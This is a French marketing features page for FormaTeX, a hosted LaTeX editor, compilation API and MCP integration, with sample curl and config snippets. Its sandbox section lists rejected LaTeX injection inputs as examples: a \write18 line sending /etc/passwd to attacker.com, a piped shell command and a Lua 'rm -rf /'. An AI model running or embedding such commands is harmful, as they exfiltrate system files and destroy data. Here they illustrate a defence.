FormaTeX

\features{FormaTeX}

Tout ce dont vous avez besoin. Rien de superflu.

Éditeur navigateur, assistant IA, collaboration en temps réel, API REST, quatre moteurs LaTeX, intégration MCP — chaque fonctionnalité conçue pour les développeurs et les auteurs qui ont besoin de LaTeX sans le travail d'infrastructure.

\section{Plateforme}

\feature{editor}

Éditeur LaTeX dans le navigateur

Nouveau

Un véritable IDE. Dans le navigateur. Sans installation.

FormaTeX fournit un environnement de développement LaTeX complet qui s'exécute entièrement dans le navigateur. CodeMirror 6 avec coloration syntaxique LaTeX, un aperçu PDF en volet redimensionnable, un explorateur de fichiers du projet, un panneau de plan, une liste de symboles, une minimap et un journal de compilation complet avec la liste des erreurs analysées. Importez des images, des fichiers .bib et des classes personnalisées. L'enregistrement automatique s'exécute en arrière-plan : fermer l'onglet ne fait rien perdre.

  • Volet divisé : source LaTeX à gauche, aperçu PDF en direct à droite — glissez pour redimensionner
  • Explorateur de fichiers avec dossiers (.tex, .bib, .cls, .sty, images)
  • Le panneau de plan extrait automatiquement les titres de sections du source
  • Journal de compilation complet + panneau Problèmes avec la liste des erreurs et avertissements analysés
  • Raccourcis clavier, nombre de mots, minimap — tout est configurable
main.tex — FormaTeX Editor
⌘↵ Compile

Explorer

main.tex
refs.bib
fig1.png
\documentclass{article}
\usepackage{amsmath}
\usepackage{graphicx}
 
\begin{document}
\section{Introduction}
This paper presents...

PDF Preview

Compiled in 312ms·12 pages · 284 KBAutosaved

\feature{ai}

Assistant IA

Nouveau

Corriger, expliquer, générer et discuter — avec tout le contexte du projet.

Quatre modes d'IA intégrés à l'éditeur. Corriger analyse votre journal d'erreurs et produit du LaTeX corrigé. Expliquer traduit les erreurs du compilateur en langage clair. Générer écrit du LaTeX à partir d'une description en texte brut. Discuter vous donne un assistant conversationnel qui a accès à tous les fichiers de votre projet. L'IA voit votre source réel — pas un extrait que vous collez.

  • Corriger : journal d'erreurs en entrée → LaTeX corrigé en sortie, avec mise en évidence des différences
  • Expliquer : les erreurs cryptiques du compilateur traduites en langage clair
  • Générer : décrivez ce qu'il vous faut, recevez du LaTeX compilable
  • Discuter : tout le contexte du projet est injecté automatiquement — demandez ce que vous voulez
  • Usage mesuré par plan : 5 req/mois (Free) → 5 000 req/mois (Enterprise)
Fix
Explain
Generate

! Error on line 47

Undefined control sequence \mathrm

AI Fix Suggestion
96%

Add \usepackage{amsmath} to your preamble. \mathrm is defined there.

+ \usepackage{amsmath}

Apply fix
Explain144 requests remaining

\feature{collaboration}

Collaboration en temps réel

Nouveau

Plusieurs personnes. Un seul document. En direct.

Collaboration en temps réel par WebSocket, disponible depuis février 2026. Invitez des collaborateurs par e-mail, attribuez le rôle Éditeur ou Lecteur et voyez des indicateurs de présence avec des avatars colorés dérivés de façon déterministe de l'UUID de chaque utilisateur. Les lecteurs sont restreints côté serveur : ils ne peuvent pas diffuser d'événements d'édition, quel que soit l'état du client. Ouvrir le même projet dans deux onglets ferme automatiquement l'ancienne connexion.

  • Invitation par e-mail — rôle Éditeur ou Lecteur pour chaque collaborateur
  • Présence en direct : avatars colorés cohérents d'une session à l'autre
  • Restriction des lecteurs appliquée côté serveur, pas seulement dans l'interface
  • Éviction des onglets en double : l'ancienne connexion est fermée automatiquement
  • 3 / 6 / 15 collaborateurs par projet (Pro / Max / Enterprise)
SK
AM
ME
3 people editing
Live
Sarah K.
Alex M.
Sarah K.· Editor
Alex M.· Viewer
You· Editor

\feature{projects}

Projets et historique des fichiers

Des espaces de travail multifichiers persistants, avec l'historique complet des modifications.

Les projets sont des espaces de travail nommés et colorés qui conservent tous vos fichiers côté serveur. Créez un projet une fois, ajoutez du source .tex, des références .bib, des images et des classes personnalisées — tout reste disponible d'une session et d'une compilation à l'autre. Chaque enregistrement et chaque suppression est consigné comme un instantané dans l'historique des fichiers : une chronologie façon git log qui montre ce qui a changé, quand, et qui a fait chaque modification.

  • Projets nommés avec code couleur — de 5 (Free) à illimité (Enterprise)
  • De 5 à 300 fichiers par projet selon le plan
  • Compilez n'importe quel projet directement par l'API avec project_id
  • Historique des fichiers : chaque enregistrement comparé à l'instantané précédent, groupé par date, avec le nom du collaborateur
  • Exportez le projet complet en ZIP à tout moment depuis l'éditeur
  • Synchronisation GitHub : push/pull bidirectionnel avec des dépôts GitHub (Max et Enterprise)

Projects

IEEE Paper 2026

8 filesmain
2h ago

PhD Thesis — Ch.4

24 filesdraft
1d ago

CV / Resume

3 filesmain
3d ago

3 of 5 projects · Free plan

File History

IEEE Paper 2026

Today · 3 changes

SK

sections/intro.tex

Edit14:23
ME

refs.bib

Edit14:19
AM

fig1.png

Delete13:54

\feature{templates}

Modèles et substitution de variables

Envoyez du JSON. Recevez un PDF. Aucune connaissance de LaTeX requise.

Enregistrez un document LaTeX une fois comme modèle, marquez les valeurs dynamiques avec des espaces réservés <<variable>> et compilez-le à partir de JSON brut. Vos appelants ne touchent jamais à LaTeX : ils envoient (POST) un objet JSON avec les valeurs des variables et reçoivent un PDF. Les modèles prennent en charge des ressources importées (logos, fichiers .bib, .cls), peuvent être dupliqués depuis la bibliothèque de modèles et se compilent avec n'importe quelle clé API.

  • Schéma de variables <<placeholder>> avec types chaîne, nombre et date, indicateurs obligatoire et valeurs par défaut
  • Envoyez les variables en JSON (POST) → recevez directement un PDF compilé
  • Importez les ressources du modèle : logos, fichiers de bibliographie, classes
  • Dupliquez un modèle de la bibliothèque dans votre compte comme point de départ
  • 0 modèle privé (Free) → 3 (Pro) → 25 (Max) → illimité (Enterprise)

Variables

client_name*
Acme Corp
amount*
$12,500.00
due_date
March 15, 2026
invoice_no*
INV-2026-0042
POST /compile
PDF
INVOICE
$12,500.00
invoice.pdf

\feature{webhooks}

Webhooks

Votre serveur est prévenu dès qu'une tâche se termine.

Enregistrez une URL et abonnez-vous aux événements de compilation, de quota et de plan. FormaTeX envoie un POST signé à votre point de terminaison à chaque événement. Chaque envoi est signé en HMAC-SHA256 avec votre secret de webhook : vérifiez l'en-tête X-FormaTeX-Signature avant tout traitement. Les envois échoués sont réessayés automatiquement jusqu'à 5 fois avec un délai exponentiel. Le tableau de bord affiche le taux de réussite par webhook, l'historique complet des envois avec les numéros de tentative et un bouton de test.

  • 5 types d'événements : compilation.success, compilation.failed, quota.warning, quota.exceeded, plan.changed
  • Signature HMAC-SHA256 sur chaque envoi — vérifiez-la avec votre secret
  • Nouvelle tentative automatique avec délai exponentiel (jusqu'à 5 tentatives)
  • Historique des envois par webhook avec statut HTTP et numéro de tentative
  • Disponible sur les plans Max et Enterprise
https://api.yourapp.com/webhooks/latex
HMAC verified
Success rate75%
3 of 4 succeeded·
Retry on failure
Recent deliveries4 events
compilation.success87ms
200
compilation.failed91ms
500
quota.warning103ms
200
plan.changed76ms
200
X-FormaTeX-Signature: sha256=a3f9b2e17c…

\feature{github}

Intégration GitHub

Nouveau

Poussez votre projet vers GitHub. Tirez depuis n'importe quel dépôt.

Liez n'importe quel projet FormaTeX à un dépôt GitHub et gardez-les synchronisés. Poussez votre source LaTeX, vos fichiers .bib et vos ressources vers une branche en un clic — ou déclenchez un push automatique après chaque compilation réussie. Tirez les modifications depuis GitHub pour restaurer une version précédente ou accueillir le fork d'un nouveau collaborateur. Fonctionne avec les dépôts publics et privés. Disponible sur les plans Max et Enterprise.

  • Connectez n'importe quel projet à un dépôt GitHub public ou privé
  • Push à la demande ou automatiquement après chaque compilation réussie
  • Pull depuis n'importe quelle branche — restaurer, dupliquer ou reprendre un dépôt existant
  • Arborescence complète synchronisée : .tex, .bib, .cls, .sty, images et ressources
  • Disponible sur les plans Max et Enterprise
acme-org / thesis-2026
main
connected
Changed files4 files
Mmain.tex
Msections/intro.tex
Arefs.bib
Afig/diagram.pdf
Commit message
chore: update figures and bibliography
Push
a3f9b2e
Auto-push after every successful compile
Pull
from
feature/new-chapter

\feature{overleaf-import}

Import de projets Overleaf

Nouveau

Apportez vos projets existants en un clic.

Déjà sur Overleaf ? Exportez votre projet en zip (Menu → Download → Source) et déposez-le dans FormaTeX. Toute l'arborescence — source .tex, références .bib, images, classes personnalisées, sous-dossiers — est extraite, analysée et enregistrée automatiquement comme nouveau projet. Le fichier .tex racine est détecté et ouvert immédiatement. Aucune copie manuelle de fichiers, aucune remise en forme, aucune friction.

  • Import par glisser-déposer d'un zip depuis le tableau de bord des projets
  • Structure de dossiers complète conservée — chapters/, figures/ et tous les sous-dossiers
  • Détecte automatiquement main.tex ou tout fichier racine contenant \documentclass
  • Images, .bib, .cls, .sty, polices — tous les types de fichiers extraits d'un coup
  • Le projet prend automatiquement le nom de votre fichier zip
overleaf-import.sh
# 1. Export from Overleaf
#    Menu → Download → Source  →  my-thesis.zip

# 2. Import via the Projects dashboard
#    Click "Import from Overleaf" → drop the zip → done

# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
  -H "Authorization: Bearer <jwt>" \
  -F "[email protected]"

# Response
{
  "project": {
    "id":   "proj_7f2a...",
    "name": "my-thesis",
    "color": "amber"
  },
  "main_file": "main.tex"
}

\section{API et compilation}

\feature{rest-api}

API REST sans configuration

Envoyez du LaTeX. Recevez un PDF. Un seul point de terminaison.

Toute la surface de compilation de FormaTeX tient dans un seul point de terminaison POST. Aucun SDK requis, aucune cérémonie d'authentification. Envoyez du JSON contenant votre source LaTeX et le moteur souhaité, recevez un PDF binaire dans le corps de la réponse. Chaque réponse inclut dans ses en-têtes la durée de compilation, le moteur utilisé et votre quota restant. Fonctionne de la même façon depuis curl, JavaScript, Python, Go ou n'importe quel client HTTP.

  • Aucun SDK requis — n'importe quel client HTTP, dans n'importe quel langage
  • PDF binaire renvoyé directement dans le corps de la réponse
  • Journal du compilateur inclus dans les réponses d'erreur 422 pour le débogage
  • X-Compile-Duration-Ms, X-Engine, X-Compilations-Used sur chaque réponse
compile.sh
curl -X POST https://api.formatex.io/api/v1/compile \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{
    "latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
    "engine": "pdflatex"
  }' \
  --output document.pdf

# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500

\feature{engines}

Quatre moteurs LaTeX

Le bon outil pour chaque type de document.

pdfLaTeX pour une vitesse et une compatibilité de paquets maximales. XeLaTeX pour les polices système (TTF/OTF) et Unicode. LuaLaTeX pour les scripts Lua et la génération programmatique de contenu. latexmk pour la compilation multipasse automatique — bibliographie, table des matières, renvois, tout est résolu en une seule requête. Choisissez par requête avec un seul paramètre JSON. Tous les moteurs utilisent la même installation TeX Live.

  • Changez de moteur à chaque requête — sans modifier le compte, sans reconfiguration
  • XeLaTeX et LuaLaTeX : prise en charge native de l'arabe, de l'hébreu et de l'écriture de droite à gauche via bidi/polyglossia
  • latexmk détecte automatiquement les passes nécessaires pour résoudre tous les renvois
  • Tous les moteurs utilisent la même installation TeX Live — une sortie cohérente d'une requête à l'autre
  • pdfLaTeX est le moteur par défaut — le plus rapide pour la plupart des charges
Guides détaillés des moteurs
pdflatex
Tous les plans

Le standard. Le plus rapide. La meilleure compatibilité.

Vitesse~80ms

Sortie PDF directe · Polices Type 1 · Prise en charge de paquets la plus large

xelatex
Pro+

Polices système. Unicode natif.

Vitesse~190ms

TTF / OTF · Texte de droite à gauche · Fonctionnalités OpenType

lualatex
Pro+

Scripts Lua complets dans LaTeX.

Vitesse~320ms

Contenu programmatique · Le plus puissant · Le plus lent

latexmk
Pro+

Multi-passes automatique. Résout tout.

Vitessemulti-passes

Bibliographie · Table des matières · Références croisées · Nouvelle tentative auto

\feature{async}

Compilation async, flux, intelligente et ZIP

Bloquante, en arrière-plan, en flux direct, intelligente ou multifichier. Choisissez votre mode.

Cinq modes de compilation pour chaque usage. Sync renvoie le PDF immédiatement dans la réponse — aucune configuration. Async met la tâche en file et renvoie un identifiant de tâche immédiatement — aucune connexion maintenue ouverte, idéal pour les pipelines par lots. Stream diffuse le journal ligne par ligne en SSE pendant l'exécution du moteur — parfait pour les interfaces de progression en direct. La compilation intelligente lit le préambule de votre document, choisit automatiquement le bon moteur et réessaie en cas d'échec transitoire. La compilation ZIP accepte l'archive d'un projet multifichier complet — thèse, livre, kit de CV — et renvoie le PDF compilé en une seule requête.

  • Sync : PDF dans le corps de la réponse — un aller-retour, aucun sondage
  • Async : identifiant de tâche renvoyé instantanément, interrogez GET /jobs/{id} pour le résultat
  • Stream : journal SSE en direct — construisez un vrai terminal temps réel dans votre interface
  • Intelligent : choisit le moteur d'après le préambule, réessaie en cas d'échec transitoire
  • ZIP : envoyez un .zip avec main.tex + ressources, recevez le PDF — aucun projet requis

sync

Bloquant · PDF dans la réponse

POST /compile
compiling…88ms
← PDF (284 KB)

PDF renvoyé dans le corps de la réponse — un seul aller-retour

async

Non bloquant · Interrogez le résultat

POST /compile/async
← { jobId: "b3f2a…"}
queued
processing
completed
GET /jobs/:id/pdf ✓

Connexion libérée immédiatement — interrogez quand c'est prêt

stream

SSE · Journal en direct

POST /compile/stream
SSE · text/event-stream

[1/1] pdflatex -no-shell-escape main.tex

This is pdfTeX, Version 3.141592653

Output written on main.pdf (12 pages)

Compiled in 312ms ✓

Créez un terminal en temps réel dans votre interface

smart

Détection auto · Nouvelle tentative en cas d'échec

POST /compile/smart

Analyse du préambule

\documentclass{article}→pdflatex
\usepackage[fontspec]{...}→xelatex
\directlua{...}→lualatex
← sélectionné automatiquement · nouvelle tentative en cas d'échec

Aucune configuration de moteur — envoyez simplement votre LaTeX

\feature{security}

Bac à sable de production

LaTeX est puissant et dangereux. Nous le contenons.

Chaque compilation s'exécute dans un contexte d'exécution isolé avec -no-shell-escape imposé, des E/S de fichiers restreintes (openout_any=p, openin_any=p) et aucun accès réseau sortant. La désinfection des entrées bloque les vecteurs d'attaque connus avant le démarrage du moteur. Le source LaTeX n'est jamais écrit dans les journaux. Les fichiers de compilation sont supprimés du disque immédiatement après le traitement. Les fichiers de projet que vous choisissez d'enregistrer sont stockés de façon sécurisée dans votre compte.

  • -no-shell-escape sur tous les moteurs — commandes système impossibles
  • Commandes dangereuses bloquées : \write18, \directlua, entrées par tube
  • Détection des octets nuls et limites de taille par plan appliquées dès l'entrée
  • Fichiers de compilation supprimés immédiatement après le traitement
Modèle de sécurité complet
security-model
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}

// Valid input compiles normally:
POST /api/v1/compile
{
  "latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
  "engine": "pdflatex"
}

// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]

\feature{equation-render}

API de rendu d'équations

Nouveau

N'importe quelle expression mathématique. PNG ou SVG. Sans document complet.

Envoyez une expression mathématique LaTeX brute, recevez une image PNG ou SVG nette — sans préambule de document, sans code superflu. L'API l'enveloppe automatiquement dans un document autonome, compile avec pdflatex et convertit vers le format voulu. amsmath, amssymb et amsfonts sont préchargés. Distinct du quota de compilation : le rendu d'équations ne compte jamais dans votre limite mensuelle. Idéal pour les applications de messagerie, les plateformes éducatives, les outils de documentation et partout où des mathématiques doivent s'afficher.

  • Envoyez uniquement le contenu mathématique — pas besoin de \documentclass ni de \begin{document}
  • Mode en ligne ($...$) ou mode affiché (\[...\]) via un seul champ booléen
  • PNG à n'importe quel DPI de 72 à 600 — ou SVG pour une sortie indépendante de la résolution
  • Réponse image binaire par défaut ; JSON + base64 avec Accept: application/json
  • Ne consomme pas votre quota mensuel de compilation
render-equation.sh
# PNG — binary response (save directly to file)
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{"latex": "\\int_0^\\infty e^{-x^2} dx = \\frac{\\sqrt{\\pi}}{2}"}' \
  --output equation.png

# SVG — display mode
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{"latex": "\\nabla \\cdot \\mathbf{E} = \\frac{\\rho}{\\varepsilon_0}", "format": "svg", "display": true}' \
  --output equation.svg

# JSON response with base64 + dimensions
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"latex": "E = mc^2", "dpi": 150}'
# → { "image": "<base64>", "format": "png", "width": 120, "height": 22 }

\section{Intégrations}

\feature{mcp}

Intégration MCP

Votre agent IA compile LaTeX nativement.

FormaTeX fournit un serveur MCP de premier ordre. Ajoutez-le à Claude, Claude Code, Cursor, VS Code, Codex ou à tout client compatible MCP : votre IA accède directement à toute la chaîne de compilation LaTeX. Compilez des documents, remplissez des modèles avec des variables, validez la syntaxe ou listez les moteurs disponibles — le tout depuis une conversation avec l'IA. Sans changer de terminal, sans copier de fichiers, sans rupture de contexte.

  • Compilez avec corrections automatiques ou un moteur explicite, lancez des tâches async, vérifiez la syntaxe, listez les moteurs et l'usage
  • Créez, modifiez et compilez vos modèles enregistrés directement depuis une conversation IA (Pro et supérieur)
  • Fonctionne avec Claude, Claude Code, Cursor, VS Code, Codex et tout client MCP
  • Serveur HTTP Streamable hébergé sur mcp.formatex.io, ou binaire stdio local
Guide de configuration MCP
mcp-config.json
// claude_desktop_config.json  (local stdio binary)
{
  "mcpServers": {
    "formatex": {
      "command": "formatex-mcp",
      "env": {
        "FORMATEX_API_KEY": "fex_a8k2mP9..."
      }
    }
  }
}

// Claude can now:
// "Compile this document with XeLaTeX and give me the PDF link"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"

\listfeatures{all}

Toutes les fonctionnalités en un coup d'œil

  • Éditeur LaTeX dans le navigateur
  • IA : corriger / expliquer / discuter
  • Collaboration en temps réel
  • Projets persistants
  • API de variables de modèle
  • Webhooks signés
  • Historique et différences par fichier
  • Compilation en quelques secondes
  • 4 moteurs LaTeX
  • Async / Flux / Intelligent
  • Exécution en bac à sable
  • Gestion des clés API
  • Statistiques d'usage
  • Outils MCP / agents IA
  • Fichiers de compilation éphémères
  • API de rendu d'équations
  • Export DOCX assisté par le compilateur
  • Synchronisation GitHub
  • Import Overleaf
  • Arabe et écriture de droite à gauche

\begin{document}

Une plateforme. Gratuit pour commencer.

Éditeur, API, IA et collaboration sur tous les plans. Sans carte bancaire. Commencez en 30 secondes.